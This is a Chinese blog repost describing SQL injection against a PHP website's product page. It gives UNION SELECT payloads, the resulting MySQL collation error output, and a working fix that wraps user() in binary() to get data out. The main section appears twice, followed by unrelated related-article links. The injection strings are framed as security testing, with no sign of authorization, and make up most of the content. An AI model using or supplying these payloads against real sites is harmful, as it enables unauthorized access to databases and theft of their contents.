知道真相的我 眼泪掉下来,良心程序员!
2015-04-08 17:49
155 查看
今天测试一个php网站,测试注入的时候发现一个问题,注入点可以union select ,order by , 但是 使用 and 1=2 union select 1,user(),3,4,5,6 的时候报错,报错信息如下:
数据库出错: MySQL Query Error
Mysql error description: Illegal mix of collations (gbk_chinese_ci,IMPLICIT) and (utf8_general_ci,SYSCONST) for operation 'UNION'
Mysql error number: 1267
Date: 2011-03-31 @ 04:22
Query: select cid,productstitle,keywords,addtime,content,hit from hw_products where pid=64 and 1=2 and 1=2 union select 1,user(),3,4,5,6
Script: http://www.xxxx.com
根据报错信息看应该是注入的时候编码不匹配导致的问题,以过网上查找终于搞定,分享之……
原文出自:http://www.blogguy.cn/show-654-1.html 关于mysql错误:Illegal mix of collations for operation '='的理解
文章中提到了两种方法来解决问题,我们安全测试中其实只需要最简单的一种就ok了把注入语句改成:
and 1=2 union select 1,binary(user()),3,4,5,6或者 and 1=2 union select 1,binary(select user()),3,4,5,6
数据库出错: MySQL Query Error
Mysql error description: Illegal mix of collations (gbk_chinese_ci,IMPLICIT) and (utf8_general_ci,SYSCONST) for operation 'UNION'
Mysql error number: 1267
Date: 2011-03-31 @ 04:22
Query: select cid,productstitle,keywords,addtime,content,hit from hw_products where pid=64 and 1=2 and 1=2 union select 1,user(),3,4,5,6
Script: http://www.xxxx.com
根据报错信息看应该是注入的时候编码不匹配导致的问题,以过网上查找终于搞定,分享之……
原文出自:http://www.blogguy.cn/show-654-1.html 关于mysql错误:Illegal mix of collations for operation '='的理解
文章中提到了两种方法来解决问题,我们安全测试中其实只需要最简单的一种就ok了把注入语句改成:
and 1=2 union select 1,binary(user()),3,4,5,6或者 and 1=2 union select 1,binary(select user()),3,4,5,6
相关文章推荐
- 知道真相的我 眼泪掉下来,良心程序员!
- Python 转 EXE(知道真相的我眼泪掉下来)
- 20个人艰不拆的事实:知道真相的我眼泪掉下来 T.T
- 架构师最怕程序员知道的十件事 之 微笔记
- Java程序员应该知道的10个调试技巧
- Java程序员应该知道的10个调试技巧
- 有理想的程序员必须知道的15件事
- 想成为嵌入式程序员应知道的0x10个基本问题
- [转贴]想成为嵌入式程序员应知道的几个基本问题
- Java程序员应该知道的10个调试技巧
- 每个程序员都应该知道的8个Linux命令
- 每个程序员都应该知道的8个LINUX命令
- Java程序员应该知道的10个调试技巧
- 每个程序员都应该知道的福利
- 程序员必须知道的10大基础实用算法及其讲解
- 程序员必须知道的10个算法和数据结构有哪些?
- 想成为嵌入式程序员应知道的0x10个基本问题
- 程序员需要知道的字符编码知识
- 程序员最应该知道的20件事
- 程序员必须知道的10大基础实用算法及其讲解